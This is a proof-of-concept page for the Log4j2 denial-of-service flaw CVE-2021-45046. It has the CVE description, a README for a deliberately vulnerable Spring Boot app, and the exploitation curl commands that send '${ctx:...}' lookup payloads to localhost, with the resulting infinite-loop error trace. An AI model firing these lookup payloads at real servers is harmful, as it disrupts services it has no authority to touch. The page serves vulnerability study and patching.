CVE-2021-45046 PoC — Apache Log4j2 Thread Context Message Pattern and Context Lookup Pattern vulnerable to a denial of service attack

Source

https://github.com/pravin-pp/log4j2-CVE-2021-45046

Associated Vulnerability

Title:Apache Log4j2 Thread Context Message Pattern and Context Lookup Pattern vulnerable to a denial of service attack (CVE-2021-45046)
Description:It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in an information leak and remote code execution in some environments and local code execution in all environments. Log4j 2.16.0 (Java 8) and 2.12.2 (Java 7) fix this issue by removing support for message lookup patterns and disabling JNDI functionality by default.

Readme

# Sample Log4j2 vulnerable application (CVE-2021-45046) 
# Versions Affected: all versions from 2.0-beta9 to 2.15.0

This application is based on Spring Boot web application vulnerable to CVE-2021-45046

It uses Log4j 2.14.1 (through `spring-boot-starter-log4j2` 2.6.1).

![](./screenshot.png)

## Running the application

Run it:

```
Import the project in Java IDE as a maven project

Run CVEMainApplication.java as a spring boot app.

```

## Exploitation steps

* Then, trigger the exploit using:

```bash
For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${ctx:apiVersion}'


For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
	"clientRef": "${ctx:clientRef}"
}'
```


* Notice the output showing Infinite loop, however in testing did not find out that this DOS to be resource consuming as this infinite loop identified by program and error out:

```

${ctx:clientRef}2021-12-15 19:27:50,212 http-nio-8080-exec-1 ERROR An exception occurred processing Appender LogToConsole java.lang.IllegalStateException: Infinite loop in property interpolation of  ${ctx:clientRef}: ctx:clientRef
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
	
```

## Mitigation : 

* Log4j 2.16.0 fixes this issue by `removing support for message lookup patterns and disabling JNDI functionality by default`

File Snapshot


 [4.0K]  /data/pocs/650dfa72c1b818e9aa577aeef82b71cdd65ced01
├── [1.2K]  pom.xml
├── [1.6K]  README.md
├── [100K]  screenshot.png
└── [4.0K]  src
    └── [4.0K]  main
        ├── [4.0K]  java
        │   └── [4.0K]  com
        │       └── [4.0K]  log4j
        │           └── [4.0K]  cve
        │               ├── [ 308]  CVEMainApplication.java
        │               ├── [ 221]  InputRequest.java
        │               └── [1013]  RestMainController.java
        └── [4.0K]  resources
            ├── [   0]  application.properties
            └── [ 440]  log4j2.xml

7 directories, 8 files

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